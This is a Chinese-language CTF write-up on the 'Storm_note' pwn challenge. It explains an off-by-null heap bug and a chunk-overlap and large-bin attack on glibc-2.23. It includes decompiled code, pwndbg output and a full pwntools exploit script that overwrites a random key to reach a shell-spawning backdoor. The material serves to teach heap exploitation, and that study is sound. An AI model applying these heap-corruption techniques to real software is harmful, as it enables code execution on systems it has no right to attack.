源程序下载:http://file.eonew.cn/ctf/pwn/Storm_note 。
思路来自于:https://blog.csdn.net/weixin_40850881/article/details/80293143 。
比赛的环境是glibc-2.23,所以推荐在glibc-2.23的环境下测试。
目录
简介
这题还是偏难的,要求选手会构造chunk。以及对large bin和unsorted bin的掌握程度。主要用到的是 Chunk Extend
的chunk重叠(overlapping) 漏洞。
程序功能介绍
安全防护
ex@Ex:~/test$ checksec Storm_note
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/ex/test/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
主要功能
ssize_t menu()
{
puts("================");
puts("== Storm Note ==");
puts("== 1. alloc ==");
puts("== 2. edit ==");
puts("== 3. delete ==");
puts("== 4. exit ==");
puts("================");
return write(1, "Choice: ", 8uLL);
}
主要是三个功能。申请,编辑,删除。
全局变量
char *note[16];
int note_size[16];
index 作为键值,使得note
和note_size
一一对应。
申请
unsigned __int64 alloc_note()
{
int v1; // [rsp+0h] [rbp-10h]
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);
note_size[i] = v1;
puts("Done");
}
else
{
puts("Invalid size");
}
}
return __readfsqword(0x28u) ^ v3;
}
calloc则将初始化这部分的内存,会进行0填充。
void *calloc(size_t nmemb, size_t size);
The calloc() function allocates memory for an array of nmemb elements
of size bytes each and returns a pointer to the allocated memory. The
memory is set to zero. If nmemb or size is 0, then calloc() returns
either NULL, or a unique pointer value that can later be successfully
passed to free().
编辑
unsigned __int64 edit_note()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0;
puts("Done");
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v3;
}
注意这里:
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0;
删除
unsigned __int64 delete_note()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free((void *)note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v2;
}
note_size[v1] = 0;
:程序free之后会进行NULL
赋值,应该不存在UAF漏洞。
后门函数
void __noreturn backdoor()
{
char buf; // [rsp+0h] [rbp-40h]
unsigned __int64 v1; // [rsp+38h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
}
0xABCD0100
动态调试发现,这个地址每次都不一样,查看程序的导入表,看看这块内存是怎么被申请的。
ex@Ex:~/test$ readelf --dyn-syms Storm_note
Symbol table '.dynsym' contains 28 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000000009a0 0 SECTION LOCAL DEFAULT 10
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (2)
3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mallopt@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mmap@GLIBC_2.2.5 (2)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND calloc@GLIBC_2.2.5 (2)
15: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND open@GLIBC_2.2.5 (2)
17: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __isoc99_scanf@GLIBC_2.7 (4)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
20: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
21: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (2)
22: 0000000000202020 8 OBJECT GLOBAL DEFAULT 24 stdout@GLIBC_2.2.5 (2)
23: 0000000000202010 0 NOTYPE GLOBAL DEFAULT 23 _edata
24: 0000000000202120 0 NOTYPE GLOBAL DEFAULT 24 _end
25: 0000000000202030 8 OBJECT GLOBAL DEFAULT 24 stdin@GLIBC_2.2.5 (2)
26: 0000000000202010 0 NOTYPE GLOBAL DEFAULT 24 __bss_start
27: 0000000000202040 8 OBJECT GLOBAL DEFAULT 24 stderr@GLIBC_2.2.5 (2)
看到了mmap函数,用ida的交叉引用,查出了下面的函数:
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}
进入init_proc函数,该函数首先调用mallopt函数禁用了fastbin。int mallopt(int param,int value)为内存分配控制函数,此处param参数取值为M_MXFAST,控制着fastbin大小上限,此处设置为1,表示禁用fastbin,fastbin attack的思路已经行不通。
由这行代码可知fd = open("/dev/urandom", 0);
,应该是个随机数。
主函数
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init_proc(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
delete_note();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 666 )
backdoor();
LABEL_15:
puts("Invalid choice");
}
else if ( v3 == 1 )
{
alloc_note();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
edit_note();
}
}
}
主函数也比较简单,输入666即可触发后门进行判断,关键在于怎么绕过
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
部分。
程序有什么漏洞呢?
综上所诉,我们只看到了一个 off by one 漏洞((_BYTE )(note[v1] + v2) = 0;
)。所以可以用 Chunk Extend
漏洞来精心构造fake_chunk,从而控制unsort chunk和large chunk中的指针,当large bin发生插入操作的时候可以实现对任意地址的写(mmap区域)。
思路
- Chunk Extend 使得chunk重叠
- 控制chunk
- 控制unsort bin和large bin
- 伪造 fake_chunk
- 触发后门
Chunk Extend
用 Chunk Extend
漏洞使得两个chunk重叠。
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
# 改pre_size域为 0x500 ,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size 为 0x510
delete_note(1)
# off by null 将1号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit_note(0, 'a'*(0x18))
alloc_note(0x18) # 1 从unsorted bin上面割下来的
alloc_note(0x4d8) # 7 为了和 1 重叠
delete_note(1)
delete_note(2) # unlink进行前向extend
这里如果理解不了的话,可以画出布局图来,这样会更形象一点。
扩展攻击之后的内存布局如下:
pwndbg> x/8gx ¬e
0x5617875570a0 <note>: 0x000056178869c010 0x0000000000000000
0x5617875570b0 <note+16>: 0x0000000000000000 0x000056178869c560
0x5617875570c0 <note+32>: 0x000056178869c580 0x000056178869ca90
0x5617875570d0 <note+48>: 0x000056178869cab0 0x000056178869c050
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56178869c020 —▸ 0x7fd89a3c4b78 (main_arena+88) ◂— 0x56178869c020
smallbins
empty
largebins
empty
pwndbg> p *(struct malloc_chunk*)(0x56178869c020)
$3 = {
prev_size = 7523377975159973992,
size = 1329,
fd = 0x7fd89a3c4b78 <main_arena+88>,
bk = 0x7fd89a3c4b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/8wx ¬e_size
0x561787557060 <note_size>: 0x00000018 0x00000000 0x00000000 0x00000018
0x561787557070 <note_size+16>: 0x00000508 0x00000018 0x00000018 0x000004d8
通过调试可以看出,index为7的指向的地方和unsortedbin里面的chunk已经重叠了。
控制chunk
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2
alloc_note(0x30)
之后2号块与7号块交叠,可以通过7号块修改2号块的内容(后面将2号块加入unsort bin)。
pwndbg> x/8gx ¬e
0x55a2b7f1f0a0 <note>: 0x000055a2b8701010 0x000055a2b8701030
0x55a2b7f1f0b0 <note+16>: 0x000055a2b8701070 0x000055a2b8701560
0x55a2b7f1f0c0 <note+32>: 0x000055a2b8701580 0x000055a2b8701a90
0x55a2b7f1f0d0 <note+48>: 0x000055a2b8701ab0 0x000055a2b8701050
同理可以在4号和5号上继续构造块交叠,由8号块来控制其内容(4号块加入large bin)。
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
控制unsort bin和large bin
接下来将2号块和4号块分别加入unsort bin和large bin,后面可以通过7号块和8号块对其中的指针进行修改。
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。
然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。
伪造 fake_chunk
修改unsorted bin 和large bin中的内容。
storage = 0xabcd0100
fake_chunk = storage - 0x20
# 伪造fake_chunk
layout = [
'\x00' * 16, # 填充16个没必要的字节
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]
# 修改unsorted bin 中的内容
edit_note(7, flat(layout))
layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“大小”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]
# 修改large bin 中的内容
edit_note(8, flat(layout))
然后申请内存来触发一系列动作:
alloc_note(0x48)
由于unsorted bin是FIFO模式,所以会优先判断 unsorted bin 的 bk 开始查询,由于伪造unsorted bin 的 bk时,我们故意向上偏移了0x20字节,所以得到的size就是0,由于不够申请的size,转而进入large bin 判断部分。然后进行一系列的链接操作。最后我们会分配到0xabcd00f0 地址。
以glibc-2.23为例子
glibc-2.23/malloc/malloc.c:3515
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
这里unsorted bin 变成了0xabcd00e0,0xabcd00f0发的位置被修改为<main_arena+88>。
glibc-2.23/malloc/malloc.c:3542
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
这里会把我们构造好的large bin拿出来。
在下面这里size会被修改成我们想要的值
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/glibc/glibc-2.23/malloc/malloc.c
3576 victim->fd_nextsize = fwd;
3577 victim->bk_nextsize = fwd->bk_nextsize;
3578 fwd->bk_nextsize = victim;
3579 victim->bk_nextsize->fd_nextsize = victim;
3580 }
► 3581 bck = fwd->bk;
3582 }
3583 }
3584 else
3585 victim->fd_nextsize = victim->bk_nextsize = victim;
3586 }
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fff5f0476b0 ◂— 0x48 /* 'H' */
01:0008│ 0x7fff5f0476b8 ◂— 0x5
02:0010│ 0x7fff5f0476c0 —▸ 0x55a37f05ba60 (_start) ◂— xor ebp, ebp
03:0018│ 0x7fff5f0476c8 —▸ 0x7f9101597b20 (main_arena) ◂— 0x100000001
04:0020│ 0x7fff5f0476d0 ◂— 0x48 /* 'H' */
05:0028│ 0x7fff5f0476d8 —▸ 0x55a3801f1ac0 ◂— 0x0
06:0030│ 0x7fff5f0476e0 ◂— 0x20540
07:0038│ 0x7fff5f0476e8 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 7f910127faab _int_malloc+1262
f 1 7f9101281b6f calloc+323
f 2 55a37f05bc46 alloc_note+182
f 3 55a37f05c0c2 main+116
f 4 7f910122dc09 __libc_start_main+385
pwndbg> x/4gx 0xabcd00e0
0xabcd00e0: 0xa3801f1060000000 0x0000000000000055
0xabcd00f0: 0x00007f9101597b78 0x0000000000000000
所以我们只要申请的size刚好符合0x0000000000000055(这个可能是随机的)的对齐规则即可。详见下面的解释。
我们需要的size是0x48,经过下面的对齐,会得到nb的值为0x50。
glibc-2.23/malloc/malloc.c:3341
/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/
checked_request2size (bytes, nb);
而0xabcd00e0的size经过glibc-2.23/malloc/malloc.c:3341
的size = chunksize (victim);
之后,也会对齐为0x50。
glibc-2.23/malloc/malloc.c:3521
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
由于size和nb匹配成功,则直接返回0xabcd00f0
给我们。
触发后门
edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
sh = process('./Storm_note')
elf = ELF('./Storm_note')
# context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
def alloc_note(size):
sh.sendline('1')
sh.recvuntil('?')
sh.sendline(str(size))
sh.recvuntil('Choice')
def edit_note(idx, mes):
sh.sendline('2')
sh.recvuntil('?')
sh.sendline(str(idx))
sh.recvuntil('Content')
sh.send(mes)
sh.recvuntil('Choice')
def delete_note(idx):
sh.sendline('3')
sh.recvuntil('?')
sh.sendline(str(idx))
sh.recvuntil('Choice')
# 清除流
sh.recvuntil('Choice')
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
# 改pre_size域为 0x500 ,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size 为 0x510
delete_note(1)
# off by null 将1号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit_note(0, 'a'*(0x18))
alloc_note(0x18) # 1 从unsorted bin上面割下来的
alloc_note(0x4d8) # 7 为了和 1 重叠
delete_note(1)
delete_note(2) # unlink进行前向extend
# 2号块与7号块交叠,可以通过7号块修改2号块的内容
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2
# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
storage = 0xabcd0100
fake_chunk = storage - 0x20
# 伪造fake_chunk
layout = [
'\x00' * 16, # 填充16个没必要的字节
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]
# 修改unsorted bin 中的内容
edit_note(7, flat(layout))
layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“大小”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]
# 修改large bin 中的内容
edit_note(8, flat(layout))
# 0xabcd00f0
alloc_note(0x48) # 2
edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行实例
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './Storm_note': pid 16115
[*] '/home/ex/test/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
由于这个受到随机化的影响,不一定每次都会成功,多试几次就可以。
总结
多调试源码,能更好的了解其原理。